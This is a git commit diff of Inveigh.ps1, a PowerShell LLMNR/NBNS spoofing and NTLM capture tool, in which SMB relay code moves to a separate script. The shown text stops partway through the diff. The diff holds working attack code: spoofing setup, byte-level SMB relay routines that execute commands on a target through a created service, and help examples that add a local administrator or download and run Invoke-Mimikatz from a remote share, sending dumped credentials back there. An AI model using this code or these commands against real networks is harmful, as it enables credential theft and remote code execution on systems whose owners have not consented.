diff options
author | Kevin Robertson <robertsonk@gmail.com> | 2015-10-11 19:31:41 -0400 |
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committer | Kevin Robertson <robertsonk@gmail.com> | 2015-10-11 19:31:41 -0400 |
commit | 8ab002602f672dddb91e27ff6bb7d5050771c688 (patch) | |
tree | e7d0a60aa86987a5040eb02dbadef2279aefdbfb /Inveigh.ps1 | |
parent | d8b913da072770436831f9ed9a6d648c885666f4 (diff) | |
download | Inveigh-8ab002602f672dddb91e27ff6bb7d5050771c688.tar.gz Inveigh-8ab002602f672dddb91e27ff6bb7d5050771c688.zip |
Moved SMB relay code to a dedicated script, also added psm1 and psd1 files.
The SMB relay code is now in Inveigh-Relay.ps1. The script can be used
either through Invoke-Inveigh or as a standalone function.
Diffstat (limited to 'Inveigh.ps1')
-rw-r--r-- | Inveigh.ps1 | 1124 |
1 files changed, 236 insertions, 888 deletions
diff --git a/Inveigh.ps1 b/Inveigh.ps1 index d71fe4e..74dbd39 100644 --- a/Inveigh.ps1 +++ b/Inveigh.ps1 @@ -90,8 +90,8 @@ Set the run time duration in minutes. Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire .EXAMPLE -Import-Module;Invoke-Inveigh -Import module and execute with all default settings. +Import-Module .\Inveigh.psd1;Invoke-Inveigh +Import full module and execute with all default settings. .EXAMPLE . ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 @@ -118,7 +118,7 @@ Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net us Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. .EXAMPLE -Invoke-Inveigh -smbrelay y -smbrelaytarget 192.168.2.55 -smbrelaycommand "powershell \\192.168.2.50\temp$\powermeup.cmd" +Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. Powermeup.cmd contents used for this example: powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" @@ -179,12 +179,12 @@ if ($invalid_parameter) throw "$($invalid_parameter) is not a valid parameter." } -if(-not($IP)) +if(!$IP) { $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address) } -if(-not($SpooferIP)) +if(!$SpooferIP) { $SpooferIP = $IP } @@ -202,7 +202,7 @@ if($SMBRelay -eq 'y') } } -if(-not($OutputDir)) +if(!$OutputDir) { $output_directory = $PWD.Path } @@ -236,15 +236,14 @@ $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList $inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2" -$inveigh.host = $host $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList -$inveigh.SMB_relay_active_step = 0 $inveigh.console_output = $false $inveigh.console_input = $true $inveigh.file_output = $false $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" +$Inveigh.challenge = $Challenge $inveigh.running = $true if($StatusOutput -eq 'y') @@ -288,203 +287,169 @@ else } # Write startup messages -if($inveigh.status_output) +$inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null +$inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null + +if($FileOutput -eq 'y') { - $inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null + "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append +} - if($FileOutput -eq 'y') - { - "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append - } +$inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null +$inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null - $inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null - $inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null +if($LLMNR -eq 'y') +{ + $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null + $LLMNR_response_message = "- spoofed response has been sent" +} +else +{ + $inveigh.status_queue.add("LLMNR Spoofing Disabled")|Out-Null + $LLMNR_response_message = "- LLMNR spoofing is disabled" +} - if($LLMNR -eq 'y') +if($NBNS -eq 'y') +{ + $NBNSTypes_output = $NBNSTypes -join "," + + if($NBNSTypes.Count -eq 1) { - $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null - $LLMNR_response_message = "- spoofed response has been sent" + $inveigh.status_queue.add("NBNS Spoofing Of Type $NBNSTypes_output Enabled")|Out-Null } else { - $inveigh.status_queue.add("LLMNR Spoofing Disabled")|Out-Null - $LLMNR_response_message = "- LLMNR spoofing is disabled" + $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null } - - if($NBNS -eq 'y') - { - $NBNSTypes_output = $NBNSTypes -join "," - if($NBNSTypes.Count -eq 1) - { - $inveigh.status_queue.add("NBNS Spoofing Of Type $NBNSTypes_output Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null - } - - $NBNS_response_message = "- spoofed response has been sent" - } - else - { - $inveigh.status_queue.add("NBNS Spoofing Disabled")|Out-Null - $NBNS_response_message = "- NBNS spoofing is disabled" - } + $NBNS_response_message = "- spoofed response has been sent" +} +else +{ + $inveigh.status_queue.add("NBNS Spoofing Disabled")|Out-Null + $NBNS_response_message = "- NBNS spoofing is disabled" +} - if($Repeat -eq 'n') - { - $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null - } +if($Repeat -eq 'n') +{ + $inveigh.repeat = $false + $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null +} +else +{ + $inveigh.repeat = $true + $inveigh.IP_capture_list = @() +} - if($HTTP -eq 'y') - { - $inveigh.HTTP = $true - $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null - } - else - { - $inveigh.HTTP = $false - $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null - } +if($HTTP -eq 'y') +{ + $inveigh.HTTP = $true + $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null +} +else +{ + $inveigh.HTTP = $false + $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null +} - if($HTTPS -eq 'y') +if($HTTPS -eq 'y') +{ + try { - try - { - $inveigh.HTTPS = $true - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") - $certificate_store.Add($certificate) - $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null - $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null - } - catch - { - $certificate_store.Close() - $HTTPS="N" - $inveigh.HTTPS = $false - $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null - } + $inveigh.HTTPS = $true + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 + $certificate.Import($PWD.Path + "\inveigh.pfx") + $certificate_store.Add($certificate) + $certificate_store.Close() + Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null + $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } - else + catch { - $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null + $certificate_store.Close() + $HTTPS="N" + $inveigh.HTTPS = $false + $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null } +} +else +{ + $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null +} - if($Challenge) - { - $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null - } +if($Challenge) +{ + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null +} - if($SMB -eq 'y') - { - $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null - } +if($SMB -eq 'y') +{ + $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null +} +else +{ + $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null +} - if($MachineAccounts -eq 'n') - { - $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null - } +if($MachineAccounts -eq 'n') +{ + $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null +} - if($ForceWPADAuth -eq 'y') - { - $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null - } +if($ForceWPADAuth -eq 'y') +{ + $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null +} +else +{ + $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null +} - if($SMBRelay -eq 'y') +if($ConsoleOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null + $inveigh.console_output = $true +} +else +{ + if($inveigh.tool -eq 1) { - $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null - $inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null - - if($SMBRelayUsernames.Count -gt 0) - { - $SMBRelayUsernames_output = $SMBRelayUsernames -join "," - - if($SMBRelayUsernames.Count -eq 1) - { - $inveigh.status_queue.add("SMB Relay Username = $SMBRelayUsernames_output")|Out-Null - } - else - { - $inveigh.status_queue.add("SMB Relay Usernames = $SMBRelayUsernames_output")|Out-Null - } - } - - if($SMBRelayAutodisable -eq 'y') - { - $inveigh.status_queue.add("SMB Relay Auto Disable Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("SMB Relay Auto Disable Disabled")|Out-Null - } - - if($SMBRelayNetworkTimeout) - { - $inveigh.status_queue.add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds")|Out-Null - } - - $inveigh.SMB_relay = $true + $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null } else { - $inveigh.status_queue.add("SMB Relay Disabled")|Out-Null - $inveigh.SMB_relay = $false + $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null } +} - if($ConsoleOutput -eq 'y') - { - $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null - $inveigh.console_output = $true - } - else - { - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null - } - else - { - $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null - } - } +if($FileOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null + $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null + $inveigh.file_output = $true +} +else +{ + $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null +} - if($FileOutput -eq 'y') - { - $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null - $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null - $inveigh.file_output = $true - } - else - { - $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null - } +if($RunTime -eq 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null +} +elseif($RunTime -gt 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null +} - if($RunTime -eq 1) - { - $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null - } - elseif($RunTime -gt 1) - { - $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null - } +if($SMBRelay -eq 'n') +{ if($ShowHelp -eq 'y') { - $inveigh.status_queue.add("Run Get-InveighHelp to show available cmdlets")|Out-Null + $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null $inveigh.status_queue.add("Run Stop-Inveigh to stop Inveigh")|Out-Null if($inveigh.console_output) @@ -492,37 +457,38 @@ if($inveigh.status_output) $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null } } - - while($inveigh.status_queue.Count -gt 0) + if($inveigh.status_output) { - if($inveigh.output_stream_only) - { - write-output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else + while($inveigh.status_queue.Count -gt 0) { - switch ($inveigh.status_queue[0]) + if($inveigh.output_stream_only) { - "Run Stop-Inveigh to stop Inveigh" - { - write-warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - default + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch ($inveigh.status_queue[0]) { - write-output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) + "Run Stop-Inveigh to stop Inveigh" + { + write-warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } } } } } } - -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id -$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) -$process_ID = $process_ID -replace "-00-00","" -[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)} +else +{ + Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp +} # Begin ScriptBlocks @@ -649,7 +615,7 @@ $SMB_NTLM_functions_scriptblock = } } - if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n') -and ($source_IP -ne $IP)) + if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat) -and ($source_IP -ne $IP)) { $inveigh.IP_capture_list += $source_IP } @@ -658,497 +624,10 @@ $SMB_NTLM_functions_scriptblock = } } -# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target -$SMB_relay_challenge_scriptblock = -{ - Function SMBRelayChallenge - { - param ($SMB_relay_socket,$HTTP_request_bytes) - - if ($SMB_relay_socket) - { - $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() - } - - $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024 - $i = 0 - - :SMB_relay_challenge_loop while ($i -lt 2) - { - switch ($i) - { - 0 { - [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` - + $inveigh.process_ID_bytes` - + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00) - } - - 1 { - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length) - $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - [array]::Reverse($SMB_netbios_length) - - [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)` - + $SMB_netbios_length` - + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` - + $inveigh.process_ID_bytes` - + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` - + $SMB_blob_length` - + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` - + $SMB_byte_count` - + (0x60)` - + $SMB_length_1` - + (0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02,0xa0)` - + $SMB_length_2` - + (0x30,0x3c,0xa0,0x0e,0x30,0x0c,0x06,0x0a,0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a,0xa2)` - + $SMB_length_3` - + (0x04)` - + $SMB_NTLMSSP_length` - + $HTTP_request_bytes` - + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) - } - } - - $SMB_relay_challenge_stream.write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length) - $SMB_relay_challenge_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_challenge_stopwatch = [diagnostics.stopwatch]::StartNew() - - while(!$SMB_relay_challenge_stream.DataAvailable) - { - if($SMB_relay_challenge_stopwatch.elapsed -ge $SMB_relay_challenge_timeout) - { - $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break SMB_relay_challenge_loop - } - } - } - - $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length) - - $i++ - } - - return $SMB_relay_challenge_bytes - } -} - -# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target -$SMB_relay_response_scriptblock = -{ - Function SMBRelayResponse - { - param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) - - $SMB_relay_response_bytes = New-Object System.Byte[] 1024 - - if ($SMB_relay_socket) - { - $SMB_relay_response_stream = $SMB_relay_socket.GetStream() - } - - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 244) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 248) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 252) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length - 256) - $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - [array]::Reverse($SMB_netbios_length) - - $j = 0 - - :SMB_relay_response_loop while ($j -lt 1) - { - [Byte[]] $SMB_relay_response_send = (0x00,0x00)` - + $SMB_netbios_length` - + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` - + $SMB_blob_length` - + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` - + $SMB_byte_count` - + (0xa1,0x82,0x01)` - + $SMB_length_1` - + (0x30,0x82,0x01)` - + $SMB_length_2` - + (0xa2,0x82,0x01)` - + $SMB_length_3` - + (0x04,0x82,0x01)` - + $SMB_NTLMSSP_length` - + $HTTP_request_bytes` - + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) - - $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length) - $SMB_relay_response_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_response_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_response_stopwatch = [diagnostics.stopwatch]::StartNew() - - while(!$SMB_relay_response_stream.DataAvailable) - { - if($SMB_relay_response_stopwatch.elapsed -ge $SMB_relay_response_timeout) - { - $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break :SMB_relay_response_loop - } - } - } - - $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length) - - $inveigh.SMB_relay_active_step = 2 - - $j++ - - } - return $SMB_relay_response_bytes - } -} - -# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session -$SMB_relay_execute_scriptblock = -{ - Function SMBRelayExecute - { - param ($SMB_relay_socket,$SMB_user_ID) - - if ($SMB_relay_socket) - { - $SMB_relay_execute_stream = $SMB_relay_socket.GetStream() - } - - $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - - $SMB_service_random = [String]::Join("00-", (1..11 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) - $SMB_machine += '53-00-52-00-56-00-' + $SMB_service_random + '00-00-00' - $SMB_service_name = $SMB_service_random + '00-00-00' - $SMB_service_display = '49-00-56-00-53-00-52-00-56-00-' + $SMB_service_random + '00-00-00' - [Byte[]]$SMB_machine_bytes = $SMB_machine.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - [Byte[]]$SMB_service_bytes = $SMB_service_name.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - [Byte[]]$SMB_service_display_bytes = $SMB_service_display.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - - $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" - [System.Text.Encoding]::ASCII.GetBytes($SMBRelayCommand) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ } - $SMB_relay_command += '00-00' - [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - - $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + 253) - $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] - - $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + 253 - 63) - $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1] - - $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2) - - $k = 0 - - :SMB_relay_execute_loop while ($k -lt 14) - { - switch ($k) - { - - 0 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)` - + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00) - } - - 1 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` - + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)` - + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00) - } - - 2 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)` - + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` - + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)` - + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00) - - $SMB_multiplex_id = (0x05) - } - - 3 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 4 { - [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x8f,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)` - + (0x00,0x00,0x00,0x50,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` - + (0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)` - + (0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00)` - + $SMB_machine_bytes` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00) - - $SMB_multiplex_id = (0x07) - } - - 5 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 6 { - [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)` - + $SMB_service_data_length_bytes` - + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + 